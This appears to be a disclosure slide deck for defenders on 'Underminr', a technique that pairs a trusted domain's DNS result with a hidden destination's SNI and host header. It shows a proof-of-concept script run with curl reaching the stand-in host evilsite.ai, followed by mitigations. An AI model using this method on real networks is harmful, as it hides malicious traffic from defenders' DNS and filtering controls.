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Press Embargo Notice

• The Underminr is scheduled for public release on 21 May 2026 at 
9:05am Eastern (Toronto) time. 

• As part of responsible disclosure, we are coordinating restricted 
access to Defenders before public release to the press. 

• This session is one of them. 

• Our ask: collaborate with us and do not distribute or publicly 
comment until post-release.



How does it work?



Running 
the POC 

script

% ./underminr.sh example.com evilsite.ai 
[*] Target well-known domain: example.com 
[*] Hidden destination domain: evilsite.ai 
--------------------------------------------------- 
[*] Resolving example.com... 
[+] Success: Resolved to IP -> 104.20.23.154 
--------------------------------------------------- 
[*] Connecting to 104.20.23.154 but requesting evilsite.ai... 
[*] Running curl... 
--------------------------------------------------- 
* Added evilsite.ai:443:104.20.23.154 to DNS cache 
* Hostname evilsite.ai was found in DNS cache 
* Connected to evilsite.ai (104.20.23.154) port 443 
* [HTTP/2] [1] OPENED stream for https://evilsite.ai/ 
* [HTTP/2] [1] [:method: GET] 
* [HTTP/2] [1] [:scheme: https] 
* [HTTP/2] [1] [:authority: evilsite.ai] 
hello world 

--------------------------------------------------- 
[*] Demonstration complete.





Comparing to Domain Fronting

• Review domain fronting: 

• The bait-and-switch happens inside the CDN 

• Compare how Underminr works: 

• The bait-and-switch happens between DNS and SNI/HTTP host 
header



How bad is it?









Consequences

• Abused by Sketchy VPN apps 
(BD Net VPN, 10M+ Downloads, 
AnonyTun, 10M+) 

• Malware (including ECH abuse) 

• ClickFix (trivial application)



Calling on all defenders…



Effective Mitigation

• DNS at root of network trust, hijack/block/log unauthorized Do53 

• Don’t Talk To Strangers (DTTS) | Zero Trust DNS 

• pDNS check on SNI domain 

• Strip ECH in responses



Free tools from gitlab.com/ADAMnetworks

http://gitlab.com/ADAMnetworks


Defense Status

• Microsoft ZT DNS - vulnerable 

• DiscrimiNAT - not vulnerable 

• pDNS-only sites - vulnerable





Contributions


